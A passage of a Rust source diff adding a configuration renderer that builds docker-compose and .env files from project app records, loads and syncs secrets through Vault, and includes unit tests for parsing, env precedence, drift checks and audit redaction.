Sha256::digest(bytes); + format!("{:x}", digest) +} + +fn project_target(project: &Project) -> Option { + ["target", "deployment_target", "deploy_target"] + .iter() + .find_map(|key| { + project + .metadata + .get(*key) + .or_else(|| project.request_json.get(*key)) + .and_then(|value| value.as_str()) + .filter(|value| !value.trim().is_empty()) + .map(ToOwned::to_owned) + }) +} + +pub fn env_body_hash(content: &str) -> String { + let body = content + .strip_prefix("# stacker-render ") + .and_then(|_| content.split_once('\n').map(|(_, body)| body)) + .unwrap_or(content); + sha256_hex(body.as_bytes()) +} + +fn parse_header_version(header: &str) -> Option { + header + .split_whitespace() + .find_map(|part| part.strip_prefix("version=")) + .and_then(|version| version.parse::().ok()) +} + +/// App environment rendering context +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct AppRenderContext { + /// App code (e.g., "nginx", "postgres") + pub code: String, + /// App name + pub name: String, + /// Docker image + pub image: String, + /// Environment variables + pub environment: HashMap, + /// Port mappings + pub ports: Vec, + /// Volume mounts + pub volumes: Vec, + /// Domain configuration + pub domain: Option, + /// SSL enabled + pub ssl_enabled: bool, + /// Network names + pub networks: Vec, + /// Depends on (other app codes) + pub depends_on: Vec, + /// Restart policy + pub restart_policy: String, + /// Resource limits + pub resources: ResourceLimits, + /// Labels + pub labels: HashMap, + /// Healthcheck configuration + pub healthcheck: Option, + /// Container runtime override (e.g., "kata" for hardware isolation) + pub runtime: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PortMapping { + pub host: u16, + pub container: u16, + pub protocol: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct VolumeMount { + pub source: String, + pub target: String, + pub read_only: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct ResourceLimits { + pub cpu_limit: Option, + pub memory_limit: Option, + pub cpu_reservation: Option, + pub memory_reservation: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct HealthCheck { + pub test: Vec, + pub interval: Option, + pub timeout: Option, + pub retries: Option, + pub start_period: Option, +} + +/// ConfigRenderer - Renders and syncs app configurations +pub struct ConfigRenderer { + tera: Tera, + vault_service: Option, + deployment_settings: DeploymentSettings, +} + +impl ConfigRenderer { + /// Create a new ConfigRenderer with embedded templates + pub fn new() -> Result { + let mut tera = Tera::default(); + + // Register embedded templates + tera.add_raw_template("docker-compose.yml.tera", DOCKER_COMPOSE_TEMPLATE) + .context("Failed to add docker-compose template")?; + tera.add_raw_template("service.tera", SERVICE_TEMPLATE) + .context("Failed to add service template")?; + + // Initialize Vault service if configured + let vault_service = + VaultService::from_env().map_err(|e| anyhow::anyhow!("Vault init error: {}", e))?; + + // Load deployment settings + let deployment_settings = DeploymentSettings::default(); + + Ok(Self { + tera, + vault_service, + deployment_settings, + }) + } + + /// Create ConfigRenderer with custom deployment settings + pub fn with_settings(deployment_settings: DeploymentSettings) -> Result { + let mut renderer = Self::new()?; + renderer.deployment_settings = deployment_settings; + Ok(renderer) + } + + /// Get the base path for deployments + pub fn base_path(&self) -> &str { + self.deployment_settings.base_path() + } + + /// Get the full deploy directory for a deployment hash + pub fn deploy_dir(&self, deployment_hash: &str) -> String { + self.deployment_settings.deploy_dir(deployment_hash) + } + + /// Create ConfigRenderer with a custom Vault service (for testing) + pub fn with_vault(vault_service: VaultService) -> Result { + let mut renderer = Self::new()?; + renderer.vault_service = Some(vault_service); + Ok(renderer) + } + + /// Render a full configuration bundle for a project + pub async fn render_bundle( + &self, + pool: &PgPool, + project: &Project, + apps: &[ProjectApp], + deployment_hash: &str, + ) -> Result { + let mut app_contexts = Vec::new(); + let mut app_configs = HashMap::new(); + + for app in apps.iter().filter(|a| a.is_enabled()) { + let environment = self.resolve_app_environment(pool, project, app).await?; + let mut context = self.project_app_to_context(app, environment.effective())?; + crate::helpers::stacker_labels::insert_runtime_labels( + &mut context.labels, + Some(project.id), + project_target(project).as_deref(), + crate::helpers::stacker_labels::SCOPE_PROJECT, + &app.code, + &app.code, + ); + app_contexts.push(context); + + let rendered_env = self.render_env_file(app, deployment_hash, &environment)?; + let config = AppConfig { + content: rendered_env.content, + content_type: "env".to_string(), + destination_path: remote_runtime_env_path().to_string(), + file_mode: "0600".to_string(), + owner: Some("trydirect".to_string()), + group: Some("docker".to_string()), + }; + app_configs.insert(app.code.clone(), config); + } + + let compose_content = self.render_compose(&app_contexts, project)?; + + Ok(ConfigBundle { + deployment_hash: deployment_hash.to_string(), + version: 1, + compose_content, + app_configs, + generated_at: chrono::Utc::now(), + }) + } + + /// Convert a ProjectApp to a renderable context + fn project_app_to_context( + &self, + app: &ProjectApp, + environment: HashMap, + ) -> Result { + // Validate that the app has a non-empty image to prevent generating + // `image: ` in docker-compose.yml (Docker interprets this as `:latest` + // with no name, producing "invalid reference format" error) + if app.image.trim().is_empty() { + return Err(anyhow::anyhow!( + "App '{}' has no Docker image specified. Cannot generate docker-compose.yml \ + with an empty image field.", + app.code + )); + } + + // Parse ports from JSON + let ports = self.parse_ports(&app.ports)?; + + // Parse volumes from JSON + let volumes = self.parse_volumes(&app.volumes)?; + + // Parse networks from JSON + let networks = self.parse_string_array(&app.networks)?; + + // Parse depends_on from JSON + let depends_on = self.parse_string_array(&app.depends_on)?; + + // Parse resources from JSON + let resources = self.parse_resources(&app.resources)?; + + // Parse labels from JSON + let labels = self.parse_labels(&app.labels)?; + + // Parse healthcheck from JSON + let healthcheck = self.parse_healthcheck(&app.healthcheck)?; + + Ok(AppRenderContext { + code: app.code.clone(), + name: app.name.clone(), + image: app.image.clone(), + environment, + ports, + volumes, + domain: app.domain.clone(), + ssl_enabled: app.ssl_enabled.unwrap_or(false), + networks, + depends_on, + restart_policy: app + .restart_policy + .clone() + .unwrap_or_else(|| "unless-stopped".to_string()), + resources, + labels, + healthcheck, + runtime: None, + }) + } + + async fn resolve_app_environment( + &self, + pool: &PgPool, + project: &Project, + app: &ProjectApp, + ) -> Result { + Ok(ResolvedAppEnvironment { + authored: self.parse_environment(&app.environment)?, + service: self.load_service_secrets(pool, project, app).await?, + }) + } + + async fn load_service_secrets( + &self, + pool: &PgPool, + project: &Project, + app: &ProjectApp, + ) -> Result> { + let secrets = + db::remote_secret::list_service_secrets(pool, &project.user_id, project.id, &app.code) + .await + .map_err(|error| { + anyhow::anyhow!("Failed to load service secret metadata: {}", error) + })?; + + if secrets.is_empty() { + return Ok(HashMap::new()); + } + + let vault = self.vault_service.as_ref().ok_or_else(|| { + anyhow::anyhow!( + "Vault is required to render service secrets for app '{}'", + app.code + ) + })?; + + let mut service_secrets = HashMap::new(); + for secret in secrets { + let value = vault + .fetch_secret_value(&secret.vault_path) + .await + .map_err(|error| { + anyhow::anyhow!( + "Failed to fetch service secret '{}' for app '{}': {}", + secret.name, + app.code, + error + ) + })?; + service_secrets.insert(secret.name, value); + } + + Ok(service_secrets) + } + + /// Parse environment JSON to HashMap + fn parse_environment(&self, env: &Option) -> Result> { + Ok(normalize_optional_json_env(env.as_ref()) + .into_iter() + .collect()) + } + + /// Parse ports JSON to Vec + fn parse_ports(&self, ports: &Option) -> Result> { + match ports { + Some(Value::Array(arr)) => { + let mut result = Vec::new(); + for item in arr { + if let Value::Object(map) = item { + let host = map.get("host").and_then(|v| v.as_u64()).unwrap_or(0) as u16; + let container = + map.get("container").and_then(|v| v.as_u64()).unwrap_or(0) as u16; + let protocol = map + .get("protocol") + .and_then(|v| v.as_str()) + .unwrap_or("tcp") + .to_string(); + if host > 0 && container > 0 { + result.push(PortMapping { + host, + container, + protocol, + }); + } + } else if let Value::String(s) = item { + // Handle string format: "8080:80" or "8080:80/tcp" + if let Some((host_str, rest)) = s.split_once(':') { + let (container_str, protocol) = rest + .split_once('/') + .map(|(c, p)| (c, p.to_string())) + .unwrap_or((rest, "tcp".to_string())); + if let (Ok(host), Ok(container)) = + (host_str.parse::(), container_str.parse::()) + { + result.push(PortMapping { + host, + container, + protocol, + }); + } + } + } + } + Ok(result) + } + None => Ok(Vec::new()), + _ => Ok(Vec::new()), + } + } + + /// Parse volumes JSON to Vec + fn parse_volumes(&self, volumes: &Option) -> Result> { + match volumes { + Some(Value::Array(arr)) => { + let mut result = Vec::new(); + for item in arr { + if let Value::Object(map) = item { + // Support both "source"/"target" and "host_path"/"container_path" keys + let source = map + .get("source") + .or_else(|| map.get("host_path")) + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + let raw_target = map + .get("target") + .or_else(|| map.get("container_path")) + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + // Strip `:ro` / `:rw` suffix that may be embedded in the target path + let (target, suffix_ro) = if raw_target.ends_with(":ro") { + (raw_target.trim_end_matches(":ro").to_string(), true) + } else if raw_target.ends_with(":rw") { + (raw_target.trim_end_matches(":rw").to_string(), false) + } else { + (raw_target, false) + }; + + let read_only = map + .get("read_only") + .and_then(|v| v.as_bool()) + .unwrap_or(suffix_ro); + if !source.is_empty() && !target.is_empty() { + result.push(VolumeMount { + source, + target, + read_only, + }); + } + } else if let Value::String(s) = item { + // Handle string format: "/host:/container" or "/host:/container:ro" + let parts: Vec<&str> = s.split(':').collect(); + if parts.len() >= 2 { + result.push(VolumeMount { + source: parts[0].to_string(), + target: parts[1].to_string(), + read_only: parts.get(2).map(|p| *p == "ro").unwrap_or(false), + }); + } + } + } + Ok(result) + } + None => Ok(Vec::new()), + _ => Ok(Vec::new()), + } + } + + /// Parse JSON array to Vec + fn parse_string_array(&self, value: &Option) -> Result> { + match value { + Some(Value::Array(arr)) => Ok(arr + .iter() + .filter_map(|v| v.as_str().map(|s| s.to_string())) + .collect()), + None => Ok(Vec::new()), + _ => Ok(Vec::new()), + } + } + + /// Parse resources JSON to ResourceLimits + fn parse_resources(&self, resources: &Option) -> Result { + match resources { + Some(Value::Object(map)) => Ok(ResourceLimits { + cpu_limit: map + .get("cpu_limit") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + memory_limit: map + .get("memory_limit") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + cpu_reservation: map + .get("cpu_reservation") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + memory_reservation: map + .get("memory_reservation") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + }), + None => Ok(ResourceLimits::default()), + _ => Ok(ResourceLimits::default()), + } + } + + /// Parse labels JSON to HashMap + fn parse_labels(&self, labels: &Option) -> Result> { + match labels { + Some(Value::Object(map)) => { + let mut result = HashMap::new(); + for (k, v) in map { + if let Value::String(s) = v { + result.insert(k.clone(), s.clone()); + } + } + Ok(result) + } + None => Ok(HashMap::new()), + _ => Ok(HashMap::new()), + } + } + + /// Parse healthcheck JSON + fn parse_healthcheck(&self, healthcheck: &Option) -> Result> { + match healthcheck { + Some(Value::Object(map)) => { + let test: Vec = map + .get("test") + .and_then(|v| v.as_array()) + .map(|arr| { + arr.iter() + .filter_map(|v| v.as_str().map(|s| s.to_string())) + .collect() + }) + .unwrap_or_default(); + + if test.is_empty() { + return Ok(None); + } + + Ok(Some(HealthCheck { + test, + interval: map + .get("interval") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + timeout: map + .get("timeout") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + retries: map + .get("retries") + .and_then(|v| v.as_u64()) + .map(|n| n as u32), + start_period: map + .get("start_period") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + })) + } + None => Ok(None), + _ => Ok(None), + } + } + + /// Render docker-compose.yml from app contexts + fn render_compose(&self, apps: &[AppRenderContext], project: &Project) -> Result { + let mut context = TeraContext::new(); + context.insert("apps", apps); + context.insert("project_name", &project.name); + context.insert("project_id", &project.stack_id.to_string()); + context.insert("env_file", compose_env_file_reference()); + + // Extract network configuration from project metadata + let default_network = project + .metadata + .get("network") + .and_then(|v| v.as_str()) + .unwrap_or("trydirect_network") + .to_string(); + context.insert("default_network", &default_network); + + self.tera + .render("docker-compose.yml.tera", &context) + .context("Failed to render docker-compose.yml template") + } + + /// Render .env file for a specific app + fn render_env_file( + &self, + app: &ProjectApp, + deployment_hash: &str, + environment: &ResolvedAppEnvironment, + ) -> Result { + let mut generated = + HashMap::from([("DEPLOYMENT_HASH".to_string(), deployment_hash.to_string())]); + + if let Some(domain) = &app.domain { + generated.insert("APP_DOMAIN".to_string(), domain.clone()); + } + if app.ssl_enabled.unwrap_or(false) { + generated.insert("SSL_ENABLED".to_string(), "true".to_string()); + } + + render_env(EnvRenderInput { + base: environment.authored.clone(), + generated, + service: environment.service.clone(), + generated_at: chrono::Utc::now(), + ..EnvRenderInput::default() + }) + .context("Failed to render env file") + } + + /// Render a single app runtime env config without storing it. + pub async fn render_app_env_config( + &self, + pool: &PgPool, + app: &ProjectApp, + project: &Project, + deployment_hash: &str, + ) -> Result<(AppConfig, String)> { + let environment = self.resolve_app_environment(pool, project, app).await?; + let rendered_env = self.render_env_file(app, deployment_hash, &environment)?; + let config = AppConfig { + content: rendered_env.content, + content_type: "env".to_string(), + destination_path: remote_runtime_env_path().to_string(), + file_mode: "0600".to_string(), + owner: Some("trydirect".to_string()), + group: Some("docker".to_string()), + }; + + Ok((config, rendered_env.hash)) + } + + /// Sync all app configs to Vault + pub async fn sync_to_vault(&self, bundle: &ConfigBundle) -> Result { + let vault = match &self.vault_service { + Some(v) => v, + None => return Err(VaultError::NotConfigured), + }; + + let mut synced = Vec::new(); + let mut failed = Vec::new(); + + // Store docker-compose.yml as a special config + let compose_config = AppConfig { + content: bundle.compose_content.clone(), + content_type: "yaml".to_string(), + destination_path: format!( + "{}/docker-compose.yml", + self.deploy_dir(&bundle.deployment_hash) + ), + file_mode: "0644".to_string(), + owner: Some("trydirect".to_string()), + group: Some("docker".to_string()), + }; + + match vault + .store_app_config(&bundle.deployment_hash, "_compose", &compose_config) + .await + { + Ok(()) => synced.push("_compose".to_string()), + Err(e) => { + tracing::error!("Failed to sync compose config: {}", e); + failed.push(("_compose".to_string(), e.to_string())); + } + } + + // Store per-app .env configs - use {app_code}_env key to separate from compose + for (app_code, config) in &bundle.app_configs { + let env_key = format!("{}_env", app_code); + match vault + .store_app_config(&bundle.deployment_hash, &env_key, config) + .await + { + Ok(()) => synced.push(env_key), + Err(e) => { + tracing::error!("Failed to sync .env config for {}: {}", app_code, e); + failed.push((app_code.clone(), e.to_string())); + } + } + } + + Ok(SyncResult { + synced, + failed, + version: bundle.version, + synced_at: chrono::Utc::now(), + }) + } + + /// Sync a single app config to Vault (for incremental updates) + pub async fn sync_app_to_vault( + &self, + pool: &PgPool, + app: &ProjectApp, + project: &Project, + deployment_hash: &str, + ) -> Result { + tracing::debug!( + "Syncing config for app {} (deployment {}) to Vault", + app.code, + deployment_hash + ); + let vault = match &self.vault_service { + Some(v) => v, + None => return Err(VaultError::NotConfigured), + }; + + let (config, config_hash) = self + .render_app_env_config(pool, app, project, deployment_hash) + .await + .map_err(|e| VaultError::Other(format!("Render failed: {}", e)))?; + + tracing::debug!( + "Storing .env config for app {} at path {} in Vault", + app.code, + config.destination_path + ); + // Use {app_code}_env key to store .env files separately from compose + let env_key = format!("{}_env", app.code); + vault + .store_app_config(deployment_hash, &env_key, &config) + .await?; + + Ok(config_hash) + } +} + +/// Result of syncing configs to Vault +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SyncResult { + pub synced: Vec, + pub failed: Vec<(String, String)>, + pub version: u64, + pub synced_at: chrono::DateTime, +} + +impl SyncResult { + pub fn is_success(&self) -> bool { + self.failed.is_empty() + } +} + +// ============================================================================ +// Embedded Templates +// ============================================================================ + +/// Docker Compose template using Tera syntax +const DOCKER_COMPOSE_TEMPLATE: &str = r#"# Generated by TryDirect ConfigRenderer +# Project: {{ project_name }} +# Generated at: {{ now() | date(format="%Y-%m-%d %H:%M:%S UTC") }} + +version: '3.8' + +services: +{% for app in apps %} + {{ app.code }}: + image: {{ app.image }} + container_name: {{ app.code }} + env_file: + - {{ env_file }} +{% if app.runtime %} + runtime: {{ app.runtime }} +{% endif %} +{% if app.command %} + command: {{ app.command }} +{% endif %} +{% if app.entrypoint %} + entrypoint: {{ app.entrypoint }} +{% endif %} + restart: {{ app.restart_policy }} +{% if app.environment | length > 0 %} + environment: +{% for key, value in app.environment %} + - {{ key }}={{ value }} +{% endfor %} +{% endif %} +{% if app.ports | length > 0 %} + ports: +{% for port in app.ports %} + - "{{ port.host }}:{{ port.container }}{% if port.protocol != 'tcp' %}/{{ port.protocol }}{% endif %}" +{% endfor %} +{% endif %} +{% if app.volumes | length > 0 %} + volumes: +{% for vol in app.volumes %} + - {{ vol.source }}:{{ vol.target }}{% if vol.read_only %}:ro{% endif %} + +{% endfor %} +{% endif %} +{% if app.networks | length > 0 %} + networks: +{% for network in app.networks %} + - {{ network }} +{% endfor %} +{% else %} + networks: + - {{ default_network }} +{% endif %} +{% if app.depends_on | length > 0 %} + depends_on: +{% for dep in app.depends_on %} + - {{ dep }} +{% endfor %} +{% endif %} +{% if app.labels | length > 0 %} + labels: +{% for key, value in app.labels %} + {{ key }}: "{{ value }}" +{% endfor %} +{% endif %} +{% if app.healthcheck %} + healthcheck: + test: {{ app.healthcheck.test | json_encode() }} +{% if app.healthcheck.interval %} + interval: {{ app.healthcheck.interval }} +{% endif %} +{% if app.healthcheck.timeout %} + timeout: {{ app.healthcheck.timeout }} +{% endif %} +{% if app.healthcheck.retries %} + retries: {{ app.healthcheck.retries }} +{% endif %} +{% if app.healthcheck.start_period %} + start_period: {{ app.healthcheck.start_period }} +{% endif %} +{% endif %} +{% if app.resources.memory_limit or app.resources.cpu_limit %} + deploy: + resources: + limits: +{% if app.resources.memory_limit %} + memory: {{ app.resources.memory_limit }} +{% endif %} +{% if app.resources.cpu_limit %} + cpus: '{{ app.resources.cpu_limit }}' +{% endif %} +{% if app.resources.memory_reservation or app.resources.cpu_reservation %} + reservations: +{% if app.resources.memory_reservation %} + memory: {{ app.resources.memory_reservation }} +{% endif %} +{% if app.resources.cpu_reservation %} + cpus: '{{ app.resources.cpu_reservation }}' +{% endif %} +{% endif %} +{% endif %} + +{% endfor %} +networks: + {{ default_network }}: + driver: bridge +"#; + +/// Individual service template (for partial updates) +const SERVICE_TEMPLATE: &str = r#" + {{ app.code }}: + image: {{ app.image }} + container_name: {{ app.code }} + restart: {{ app.restart_policy }} +{% if app.environment | length > 0 %} + environment: +{% for key, value in app.environment %} + - {{ key }}={{ value }} +{% endfor %} +{% endif %} +{% if app.ports | length > 0 %} + ports: +{% for port in app.ports %} + - "{{ port.host }}:{{ port.container }}" +{% endfor %} +{% endif %} + networks: + - {{ default_network }} +"#; + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + #[test] + fn test_parse_environment_object() { + let renderer = ConfigRenderer::new().unwrap(); + let env = Some(json!({ + "DATABASE_URL": "postgres://localhost/db", + "PORT": 8080, + "DEBUG": true + })); + let result = renderer.parse_environment(&env).unwrap(); + assert_eq!( + result.get("DATABASE_URL").unwrap(), + "postgres://localhost/db" + ); + assert_eq!(result.get("PORT").unwrap(), "8080"); + assert_eq!(result.get("DEBUG").unwrap(), "true"); + } + + #[test] + fn test_parse_environment_array() { + let renderer = ConfigRenderer::new().unwrap(); + let env = Some(json!(["DATABASE_URL=postgres://localhost/db", "PORT=8080"])); + let result = renderer.parse_environment(&env).unwrap(); + assert_eq!( + result.get("DATABASE_URL").unwrap(), + "postgres://localhost/db" + ); + assert_eq!(result.get("PORT").unwrap(), "8080"); + } + + #[test] + fn render_env_applies_precedence() { + let generated_at = chrono::DateTime::parse_from_rfc3339("2026-05-13T17:00:00Z") + .unwrap() + .with_timezone(&chrono::Utc); + let rendered = render_env(EnvRenderInput { + version: 7, + generated_at, + base: HashMap::from([ + ("SHARED".to_string(), "base".to_string()), + ("BASE_ONLY".to_string(), "yes".to_string()), + ]), + generated: HashMap::new(), + server: HashMap::from([("SHARED".to_string(), "server".to_string())]), + inherit_server_secrets: true, + service: HashMap::from([("SHARED".to_string(), "service".to_string())]), + compose_environment: HashMap::from([("SHARED".to_string(), "compose".to_string())]), + }) + .unwrap(); + + assert!(rendered.content.contains("BASE_ONLY=yes\n")); + assert!(rendered.content.contains("SHARED=compose\n")); + assert_eq!( + rendered.inputs, + vec!["base", "server", "service", "compose"] + ); + } + + #[test] + fn render_env_skips_server_layer_without_opt_in() { + let rendered = render_env(EnvRenderInput { + base: HashMap::from([("VALUE".to_string(), "base".to_string())]), + server: HashMap::from([("VALUE".to_string(), "server".to_string())]), + inherit_server_secrets: false, + ..EnvRenderInput::default() + }) + .unwrap(); + + assert!(rendered.content.contains("VALUE=base\n")); + assert_eq!(rendered.inputs, vec!["base"]); + } + + #[test] + fn render_env_deletion_removes_missing_service_key() { + let rendered = render_env(EnvRenderInput { + base: HashMap::from([("KEEP".to_string(), "yes".to_string())]), + service: HashMap::new(), + ..EnvRenderInput::default() + }) + .unwrap(); + + assert!(rendered.content.contains("KEEP=yes\n")); + assert!(!rendered.content.contains("S3_BUCKET=")); + } + + #[test] + fn render_env_generated_layer_overrides_authored_value() { + let rendered = render_env(EnvRenderInput { + base: HashMap::from([("DEPLOYMENT_HASH".to_string(), "stale".to_string())]), + generated: HashMap::from([("DEPLOYMENT_HASH".to_string(), "fresh".to_string())]), + ..EnvRenderInput::default() + }) + .unwrap(); + + assert!(rendered.content.contains("DEPLOYMENT_HASH=fresh\n")); + assert!(!rendered.inputs.contains(&"generated")); + } + + #[test] + fn render_env_rejects_reserved_prefix() { + let result = render_env(EnvRenderInput { + base: HashMap::from([("STACKER_TOKEN".to_string(), "secret".to_string())]), + ..EnvRenderInput::default() + }); + + assert_eq!( + result.unwrap_err(), + EnvRenderError::ReservedKey { + key: "STACKER_TOKEN".to_string() + } + ); + } + + #[test] + fn render_env_rejects_bad_key_name() { + let result = render_env(EnvRenderInput { + base: HashMap::from([("lowercase".to_string(), "value".to_string())]), + ..EnvRenderInput::default() + }); + + assert_eq!( + result.unwrap_err(), + EnvRenderError::InvalidKey { + key: "lowercase".to_string() + } + ); + } + + #[test] + fn render_env_rejects_multiline_value() { + let result = render_env(EnvRenderInput { + base: HashMap::from([("SECRET".to_string(), "line1\nline2".to_string())]), + ..EnvRenderInput::default() + }); + + assert_eq!( + result.unwrap_err(), + EnvRenderError::MultilineValue { + key: "SECRET".to_string() + } + ); + } + + #[test] + fn render_env_hash_is_stable_for_same_body() { + let generated_at = chrono::DateTime::parse_from_rfc3339("2026-05-13T17:00:00Z") + .unwrap() + .with_timezone(&chrono::Utc); + let input = EnvRenderInput { + version: 1, + generated_at, + base: HashMap::from([ + ("B".to_string(), "2".to_string()), + ("A".to_string(), "1".to_string()), + ]), + ..EnvRenderInput::default() + }; + + let first = render_env(input.clone()).unwrap(); + let second = render_env(input).unwrap(); + + assert_eq!(first.hash, second.hash); + assert_eq!(first.content, second.content); + assert!(first.content.ends_with("A=1\nB=2\n")); + } + + #[test] + fn project_target_reads_stable_target_metadata() { + let project = Project { + metadata: json!({"target": "cloud"}), + request_json: json!({"target": "server"}), + ..Project::default() + }; + + assert_eq!(project_target(&project).as_deref(), Some("cloud")); + } + + #[test] + fn format_header_stamp_is_deterministic() { + let generated_at = chrono::DateTime::parse_from_rfc3339("2026-05-13T17:00:00Z") + .unwrap() + .with_timezone(&chrono::Utc); + + let header = format_header_stamp(3, "abc123", generated_at, &["base", "service"]); + + assert_eq!( + header, + "# stacker-render version=3 hash=abc123 generated_at=2026-05-13T17:00:00+00:00 inputs=base,service" + ); + } + + #[test] + fn check_env_drift_allows_matching_hash() { + let rendered = render_env(EnvRenderInput { + base: HashMap::from([("KEY".to_string(), "value".to_string())]), + ..EnvRenderInput::default() + }) + .unwrap(); + + let check = check_env_drift(Some(&rendered.content), Some(&rendered.hash), false).unwrap(); + + assert!(check.can_write); + assert_eq!(check.actual_hash.as_deref(), Some(rendered.hash.as_str())); + assert!(!check.forced); + } + + #[test] + fn check_env_drift_refuses_mismatch_without_force() { + let rendered = render_env(EnvRenderInput { + base: HashMap::from([("KEY".to_string(), "value".to_string())]), + ..EnvRenderInput::default() + }) + .unwrap(); + + let result = check_env_drift(Some(&rendered.content), Some("different"), false); + + assert!(matches!( + result, + Err(EnvRenderError::DriftDetected { + expected_hash, + actual_hash: _ + }) if expected_hash == "different" + )); + } + + #[test] + fn check_env_drift_allows_forced_mismatch() { + let rendered = render_env(EnvRenderInput { + base: HashMap::from([("KEY".to_string(), "value".to_string())]), + ..EnvRenderInput::default() + }) + .unwrap(); + + let check = check_env_drift(Some(&rendered.content), Some("different"), true).unwrap(); + + assert!(check.can_write); + assert!(check.forced); + assert_eq!(check.actual_hash.as_deref(), Some(rendered.hash.as_str())); + } + + #[test] + fn build_env_render_audit_event_redacts_values() { + let rendered = render_env(EnvRenderInput { + version: 5, + base: HashMap::from([("SECRET".to_string(), "supersecret".to_string())]), + service: HashMap::from([("TOKEN".to_string(), "token-value".to_string())]), + ..EnvRenderInput::default() + }) + .unwrap(); + + let event = build_env_render_audit_event( + "user-1", + 42, + "upload", + &rendered, + true, + Some("old-hash".to_string()), + ); + let serialized = serde_json::to_string(&event).unwrap(); + + assert_eq!(event.version, 5); + assert_eq!(event.hash, rendered.hash); + assert_eq!( + event.inputs, + vec!["base".to_string(), "service".to_string()] + ); + assert!(event.forced); + assert_eq!(event.prior_hash.as_deref(), Some("old-hash")); + assert!(!serialized.contains("supersecret")); + assert!(!serialized.contains("token-value")); + } + + #[test] + fn test_parse_ports_object() { + let renderer = ConfigRenderer::new().unwrap(); + let ports = Some(json!([ + {"host": 8080, "container": 80, "protocol": "tcp"}, + {"host": 443, "container": 443} + ])); + let result = renderer.parse_ports(&ports).unwrap(); + assert_eq!(result.len(), 2); + assert_eq!(result[0].host, 8080); + assert_eq!(result[0].container, 80); + assert_eq!(result[1].protocol, "tcp"); + } + + #[test] + fn test_parse_ports_string() { + let renderer = ConfigRenderer::new().unwrap(); + let ports = Some(json!(["8080:80", "443:443/tcp"])); + let result = renderer.parse_ports(&ports).unwrap(); + assert_eq!(result.len(), 2); + assert_eq!(result[0].host, 8080); + assert_eq!(result[0].container, 80); + } + + #[test] + fn test_parse_volumes() { + let renderer = ConfigRenderer::new().unwrap(); + let volumes = Some(json!([ + {"source": "/data", "target": "/var/data", "read_only": true}, + "/config:/etc/config:ro" + ])); + let result = renderer.parse_volumes(&volumes).unwrap(); + assert_eq!(result.len(), 2); + assert_eq!(result[0].source, "/data"); + assert!(result[0].read_only); + assert!(result[1].read_only); + } + + // ========================================================================= + // Env File Storage Key Tests + // ========================================================================= + + #[test] + fn test_env_vault_key_format() { + // Test that .env files are stored with _env suffix + let app_code = "komodo"; + let env_key = format!("{}_env", app_code); + + assert_eq!(env_key, "komodo_env"); + assert!(env_key.ends_with("_env")); + + // Ensure we can strip the suffix to get app_code back + let extracted_app_code = env_key.strip_suffix("_env").unwrap(); + assert_eq!(extracted_app_code, app_code); + } + + #[test] + fn test_env_destination_path_format() { + // Test that .env files have correct destination paths + assert_eq!(remote_runtime_env_path(), "/home/trydirect/project/.env"); + } + + #[test] + fn test_app_config_struct_for_env() { + // Test AppConfig struct construction for .env files + let config = AppConfig { + content: "FOO=bar\nBAZ=qux".to_string(), + content_type: "env".to_string(), + destination_path: remote_runtime_env_path().to_string(), + file_mode: "0600".to_string(), + owner: Some("trydirect".to_string()), + group: Some("docker".to_string()), + }; + + assert_eq!(config.content_type, "env"); + assert_eq!(config.file_mode, "0600"); + assert_eq!(config.destination_path, remote_runtime_env_path()); + } + + #[test] + fn test_bundle_app_configs_use_env_key() { + // Simulate the sync_to_vault behavior where app_configs are stored with _env key + let app_codes = vec!["telegraf", "nginx", "komodo"]; + + for app_code in app_codes { + let env_key = format!("{}_env", app_code); + + // Verify key format + assert!(env_key.ends_with("_env")); + assert!(!env_key.ends_with("_config")); + assert!(!env_key.ends_with("_compose")); + + // Verify we can identify this as an env config + assert!(env_key.contains("_env")); + } + } + + #[test] + fn test_config_bundle_structure() { + // Test the structure of ConfigBundle + // Simulated app_configs HashMap as created by render_bundle + let mut app_configs: std::collections::HashMap = + std::collections::HashMap::new(); + + app_configs.insert( + "telegraf".to_string(), + AppConfig { + content: "INFLUX_TOKEN=xxx".to_string(), + content_type: "env".to_string(), + destination_path: remote_runtime_env_path().to_string(), + file_mode: "0600".to_string(), + owner: Some("trydirect".to_string()), + group: Some("docker".to_string()), + }, + ); + + app_configs.insert( + "nginx".to_string(), + AppConfig { + content: "DOMAIN=example.com".to_string(), + content_type: "env".to_string(), + destination_path: remote_runtime_env_path().to_string(), + file_mode: "0600".to_string(), + owner: Some("trydirect".to_string()), + group: Some("docker".to_string()), + }, + ); + + assert_eq!(app_configs.len(), 2); + assert!(app_configs.contains_key("telegraf")); + assert!(app_configs.contains_key("nginx")); + + // When storing, each should be stored with _env suffix + for (app_code, _config) in &app_configs { + let env_key = format!("{}_env", app_code); + assert!(env_key.ends_with("_env")); + } + } + + // ========================================================================= + // Empty image validation tests + // ========================================================================= + + #[test] + fn test_empty_image_rejected() { + use crate::models::project_app::ProjectApp; + + let renderer = ConfigRenderer::new().unwrap(); + let app = ProjectApp { + code: "broken_app".to_string(), + image: "".to_string(), + ..ProjectApp::default() + }; + + let result = renderer.project_app_to_context(&app, HashMap::new()); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + assert!( + err_msg.contains("broken_app"), + "Error should mention the app code, got: {}", + err_msg + ); + assert!( + err_msg.contains("no Docker image"), + "Error should mention missing image, got: {}", + err_msg + ); + } + + #[test] + fn test_whitespace_only_image_rejected() { + use crate::models::project_app::ProjectApp; + + let renderer = ConfigRenderer::new().unwrap(); + let app = ProjectApp { + code: "spacey".to_string(), + image: " ".to_string(), + ..ProjectApp::default() + }; + + let result = renderer.project_app_to_context(&app, HashMap::new()); + 